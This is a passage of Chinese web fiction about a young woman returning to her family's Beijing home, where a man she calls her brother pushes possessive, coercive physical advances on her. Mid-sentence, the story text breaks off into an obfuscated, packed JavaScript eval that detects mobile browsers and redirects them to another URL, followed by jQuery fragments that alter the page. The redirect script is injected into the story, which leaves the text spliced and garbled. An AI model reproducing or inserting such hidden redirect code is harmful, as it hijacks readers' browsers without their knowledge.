北京的暖气开得燥。
空气刮在喉咙里，带点干涩的疼。
主卧那边的放水声隔着厚重的实木门传过来，闷得让人想起潜入深水后的耳鸣。听的不真切。
她推开侧卧的房门。
这些年她常回来，所以这间房一直给她留着，冷硬，干净，没什么生活气。手掌按在床垫上，软得整个人都要陷进去，像是个温柔的陷阱。
钟温婷蹲下身，拉链拉开的刺啦声在静谧里像割开一层皮。从南方带回来的东西不多，算是她的必需品。几个乳白色药瓶，一个旧水杯，还有那个抱了很多年的枕头。
她伸手按了按，布料磨得发白，指尖能感受到里面填充物的塌陷。低头凑近，那股潮湿的海腥味还没散干净，就被北方这种清冷的冷杉香压了下去。
那种香味太干净，也太霸道，在这座城市里无孔不入。
她抱着浴袍进了浴室，磨砂玻璃门合上的瞬间，水声哗啦啦地炸开。
镜子很快被雾气糊满，白茫茫的一片。
钟温婷站在水流下，垂着眼。
她不去看镜子里那个模糊的轮子，也不去想刚才发生的一切。
林家港口离岸资金大抵是被上头盯着了，申二特意蹲在那，大概不是真的为了给她跪一跪。
钟云霆掐着时间，手里端着一杯刚兑好的温水蜂蜜柠檬，推门进了侧卧。
房间里空空的，他没看见人，目光先落在地板上敞开的行李箱。里面乱糟糟的，几件丝质睡裙堆在一起，边角露出一抹细窄的蕾丝。
他的喉结微动，视线再移向床头，瞧见那个旧枕头时，他眼底的冷硬才裂开一条缝。她
还是离不开这些破烂。几年没见，这些东西才让她安心睡觉。那个枕头小时候被他藏起来哭得喘不上气的样子，她怕是早就忘了吧。
他把水杯放在床头柜，轻响在静谧里格外清晰
浴室的水声停了
只剩几滴水珠落在瓷砖上的空洞声。
他没有走，顺手把她丢在行李箱外的几件外衣捡起来，折叠得整整齐齐。
直到她出来。
“温温。洗完出来喝水。燕窝一会儿送过来，当心缺氧。我拿了药箱，你那脚踝的淤青得揉开才行。”
里面没有回应。
两人儿时明明也不亲。他是众人手心的天之骄子，而她，是被轻女送给老宅长辈抚养的小草。如今天翻地覆
她穿着浴袍出来，头发半湿，水珠顺着锁骨往下滑，坐去吹发。她以为他去休息了，“不去睡？
钟云霆低着头。
从这个角度只能看见她被睡袍领口遮住的一小片锁骨，他看着她，还有那颗若隐若现的朱砂痣，像是一点凝固的血。刺得他眼疼，“急什么，你路都走不稳，我还得惦记着你的那口燕窝。”
她不为所动，只是擦着头发，不以为意，“嗯，这样诶，啰嗦鬼诶。”她似乎故意带了很多逗弄，试图缓和这如雾般的浓烈
“啰嗦？”钟云霆像是听得什么有意思的话？他站起身，大半个身子阴影瞬间笼住床边的她。往前逼了一寸，膝盖抵在床沿，居高临下盯着她蓬松的发顶。
他伸手，虎口扣住她下巴，动作不粗，逼着她抬起那张粉扑扑的小脸，“温温，看着我。”
声音沉得厉害，“在南边，也有人这样伺候你吗？有人像我这样，盯着你把湿气揉开，再哄你去喝燕窝？”
钟温婷只是厌倦的看着他，如同看一个长不大的孩子。天之骄子最受不了受人冷落，偏偏她南方数年，身上只有如雾般的冷绵，眉眼倦怠。
钟云霆看着她愈发眼熟的姿态，到底是心里神伤，落了下风，语气带了些讨好，“回话。别装哑巴。”
钟温婷抿了抿唇，依旧没有回答，只是把头低了低，继续吹着。
水汽弥漫，他闻到她浴袍里残留的果香和乳霜味。
心底的占有欲像被蒸汽催着，越来越浓。
她一直这样，冷淡又倔强，可越是这样，就越让人想把她捂在怀里。
她为了这场长途跋涉，她是真的累了，推开了他的手，“别闹，我累了，有什么话明天再说。”
下巴上的指尖在乳霜里陷下去，那道红痕，在冷白皮肉上像条扎眼的细虫。
钟云霆没抬眼，只盯着那颗朱砂痣。
“累了？”这两个字掉在厚地毯上，没砸出响。
他自嘲地挑了挑嘴角，指尖顺着睡袍领口滑进去，摸到那块突出的骨头。
钟云霆的声音很平。“南边待久了，规矩都忘了。钟温婷你这副不耐烦的样儿，真是恨得人牙痒，又爱得人骨头缝里都发酥。
身型的压迫感让钟温婷不得不仰起头，那双清冷的眼里映出他此时近乎失控的倒影。他自嘲地扯了扯嘴角，眼神里那抹温润透出一种属于钟家人的冷戾。
“我有闹吗。”他嗓音很低，每一个字都磨着她的耳膜，“温温，你是不是觉得，回了京城，我也得跟申二他们一样，客客气气地把你当钟家大小姐供着？”
他的手心覆盖朱砂痣，乳霜的腻滑让触碰模糊而粘稠，感受着心脏的跳动，一下又一下，撞着他的理念。
“南边那几年，让你忘了自己是谁的东西了。”他突然使力，将她整个人往床内侧一推。
钟温婷陷进那团柔软的阿贝贝里，发丝散乱，像一朵被风雨摧残过后的栀子。
钟云霆跟着压了上去，严丝合缝地抵住她的膝盖，手肘撑在她耳侧，盯着她看了很久。
最后无力翻身坐起，背对着那一团散乱的黑发，“明儿去见柳西霆，记得把袜子穿高点。”
苦味之后的回甘，比纯粹的甜更令人印象深刻。
他停了一下，视线落在窗棂那抹灰影上，“那根绳子，他不喜欢。”
钟温婷知道他在闹什么脾气，拿脚踹了踹他脸。
月光把两人的影子拉得很长，在暗红色的地毯上重叠，又在墙角处生生折断。
“燕窝在外面，趁热喝了。”钟云霆起身走向露台，没回头，“凉了，就得重熬。钟家没这惯例。”
窗外景山的树影晃了晃，像冬夜里最后一点残喘。
谁也没动。走廊里的感应灯随着钟温婷的脚步声亮起，又在她身后，一盏盏熄灭。
她那副对挑衅充耳不闻的姿态，在这寂静的深夜里反倒显出一种近乎冷酷的定力。
钟云霆相见恨晚。她不是不知道，但那不重要。
不是吗？
他这辈子也只能做她的哥哥。
厨房的岛台上亮着一盏昏黄的吊灯。
她掀开瓷盅，燕窝的甜味散开，勺子碰到碗沿。
那是他为她准备的晚餐。
钟云霆没跟出来。他坐在侧卧那张单人沙发里，身体隐没在光线照不到的阴影中，指尖还残留着刚才揉搓乳霜时的腻滑。他微微仰着头，看着天花板上的石膏线条，眼神里那股子阴戾被一种更深沉、更无望的自嘲所取代。
门锁扣合的动静极轻，像是一根针坠入深雪，没激起半点回响。
他在原地立了很久，视线落在刚才被
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394310|200346||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她推开的肩膀。那里的布料还残余着一点塌陷的弧度，又在呼吸间缓慢地自我修复。
像是一种不动声色的拒绝。
南边那几年，把她的心养成了荒原上的风，又把皮肉炼成了刀枪不入的铁。她知道他走不出去，所以连那个名为柳西霆的饵，她都懒得张口去咬。
这种沉默太顺手了，像一把磨得极薄的刀，在他身上一寸寸地试探深浅。
钟云霆走到侧卧窗边，手指一勾，帘缝里漏进半寸清冷的灰。
京城的霓虹在远处摇曳，像一滩化不开的陈年污渍，却怎么也洇不进这间死寂的屋子。
他摸出一支烟，衔在齿间，没火。苦辛的烟草味在舌根底下泛上来，又冷又硬。
他盯着窗玻璃上自己模糊的身影，看见那个影子在忽明忽灭的夜色里，一点点沉进无声的黑暗深处。
洗手池的水声细细碎碎，凉意顺着管道滑下去，那点味道很快就被北京的燥冷压没了。
钟温婷喝的很慢，她意外发现钟云霆还下厨做了其他，正在一口一口慢慢的吞咽。
钟云霆靠在门框边，抱着胳膊，盯着那截陷在暗影里的后颈。
这世上哪有那么多得偿所愿，有的只是在这方圆之地里自欺欺人。
钟温婷正站在洗手池边，头发垂在肩上，背影显得单薄得过分。
他的语调不急不缓，带着不放弃的起伏，“喝完了？回屋去。药箱没收，剩下的痕迹你一个人揉不开。”
水汽在落地窗上凝出一层细细的白雾，模糊了京城深夜的轮廓。
钟温婷没应，这种话，没意义。她端着那盏温热的白瓷小盅，勺子有一下没一下地搅动着，眼神空落落地钉在远方那些明明灭灭的霓虹灯火上。
那些灯光在雾气后被晕染成一个个模糊的色块。
钟云霆看着她像一只把自己强行抽离出这个空间的木偶，他的牙根隐隐有些发酸。又在走神。
回了京，对着这满城的故人旧事，她心里想的到底是谁？是南边那个让她待了数年的地方，还是那些她还没见过、却已经等在路上的联姻对象？
她就这么站着，明明就在他手边，却冷得像一捧握不住的雪。他迈开步子，拖鞋在瓷砖上擦出沉闷的声。
他停在她身后，没直接碰她，却用胸膛若有其事地贴近了她的后背。
那一瞬间，他能感觉到她身体微微的一僵，即便隔着乳霜和丝质睡袍，那种排斥感依然清晰得像针扎。
“看什么呢，这么入神。”他低下头，唇瓣几乎贴着她的耳廓，呼出的热气在她的发鬓间散开，“是看那边的钟公馆，还是在想明早该怎么跟爷爷交代你这身烟火气？”
他的手顺势滑下来，极其自然地覆在她握着瓷盅的手背上。他的掌心宽大，温度偏高，把她那点被瓷温烘出来的热度衬得索然无味。
“发呆。”她说的很轻，挑眉回头看他，“生气了？”
她很用一点小心思掩盖什么。
他微微用力，带着她的手把勺子送进嘴里，“喝个燕窝都能发呆，温温，你这魂儿是真丢在闽江边上了。”
另一只手揽住她的腰，湿滑的软肉上轻轻掐了一把。
“喝完这口。水箱里的水凉了，再待下去，你那脚踝又要疼了。”
她依旧说的很轻，“哦，知道了。”
钟家的人，说话一向都很轻。
他盯着她映在玻璃窗上那双清冷如水的眼睛，想从里面找出一丝波动。
可碗里的水已经凉透了，没再冒出一丝热气。